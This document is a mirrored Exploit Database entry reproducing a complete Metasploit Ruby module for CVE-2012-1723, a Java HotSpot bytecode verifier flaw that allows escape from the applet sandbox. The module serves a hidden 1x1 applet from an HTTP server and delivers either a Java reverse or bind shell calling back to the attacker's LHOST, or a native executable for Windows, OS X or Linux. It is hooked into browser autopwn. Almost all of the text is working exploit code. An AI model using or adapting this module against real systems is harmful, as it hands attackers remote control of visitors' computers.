Java Applet – Field Bytecode Verifier Cache Remote Code Execution (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2012-07-11
• 类别：

  • remote
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/19717/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::EXE
  
  	include Msf::Exploit::Remote::BrowserAutopwn
  	autopwn_info({ :javascript => false })
  
  	def initialize( info = {} )
  		super( update_info( info,
  			'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',
  			'Description'=> %q{
  					This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
  				optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent
  				type checks. This allows a way to escape the JRE sandbox, and load additional classes
  				in order to perform malicious operations.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Stefan Cornellius', # Discoverer
  					'mihi',# Vuln analysis
  					'littlelightlittlefire', # metasploit module
  					'juan vazquez',# merged code (overlapped)
  					'sinn3r' # merged code (overlapped)
  				],
  			'References' =>
  				[
  					['CVE', '2012-1723'],
  					['OSVDB', '82877'],
  					['BID', '52161'],
  					['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],
  					['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],
  					['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],
  					['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],
  					['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']
  				],
  			'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
  			'Payload'=> { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
  			'Targets'=>
  				[
  					[ 'Generic (Java Payload)',
  						{
  							'Platform' => ['java'],
  							'Arch' => ARCH_JAVA
  						}
  					],
  					[ 'Windows x86 (Native Payload)',
  						{
  							'Platform' => 'win',
  							'Arch' => ARCH_X86
  						}
  					],
  					[ 'Mac OS X PPC (Native Payload)',
  						{
  							'Platform' => 'osx',
  							'Arch' => ARCH_PPC
  						}
  					],
  					[ 'Mac OS X x86 (Native Payload)',
  						{
  							'Platform' => 'osx',
  							'Arch' => ARCH_X86
  						}
  					],
  					[ 'Linux x86 (Native Payload)',
  						{
  							'Platform' => 'linux',
  							'Arch' => ARCH_X86
  						}
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jun 06 2012'
  		))
  	end
  
  
  	def exploit
  		# load the static jar file
  		path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1723.jar" )
  		fd = File.open( path, "rb" )
  		@jar_data = fd.read(fd.stat.size)
  		fd.close
  
  		super
  	end
  
  
  	def on_request_uri( cli, request )
  		data = ""
  		host = ""
  		port = ""
  
  		if not request.uri.match(/\.jar$/i)
  			if not request.uri.match(/\/$/)
  				send_redirect( cli, get_resource() + '/', '')
  				return
  			end
  
  			print_status("Sending #{self.name}")
  
  			payload = regenerate_payload( cli )
  			if not payload
  				print_error("Failed to generate the payload." )
  				return
  			end
  
  			if target.name == 'Generic (Java Payload)'
  				if datastore['LHOST']
  					jar= payload.encoded
  					host = datastore['LHOST']
  					port = datastore['LPORT']
  					vprint_status("Sending java reverse shell")
  				else
  					port = datastore['LPORT']
  					datastore['RHOST'] = cli.peerhost
  					vprint_status( "Java bind shell" )
  				end
  				if jar
  					print_status( "Generated jar to drop (#{jar.length} bytes)." )
  					jar = Rex::Text.to_hex( jar, prefix="" )
  				else
  					print_error("Failed to generate the executable." )
  					return
  				end
  			else
  
  				# NOTE: The EXE mixin automagically handles detection of arch/platform
  				data = generate_payload_exe
  
  				if data
  					print_status("Generated executable to drop (#{data.length} bytes)." )
  					data = Rex::Text.to_hex( data, prefix="" )
  				else
  					print_error("Failed to generate the executable." )
  					return
  				end
  
  			end
  
  			send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
  			return
  		end
  
  		print_status("Sending jar")
  		send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
  
  		handler( cli )
  	end
  
  	def generate_html( data, jar, host, port )
  		jar_name = rand_text_alpha(rand(6)+3) + ".jar"
  
  		html= "<html><head></head>"
  		html += "<body>"
  		html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"
  		html += "<param name=\"data\" value=\"#{data}\"/>" if data
  		html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
  		html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
  		html += "</applet></body></html>"
  		return html
  	end
  
  	def generate_jar()
  		@jar_data
  	end
  
  end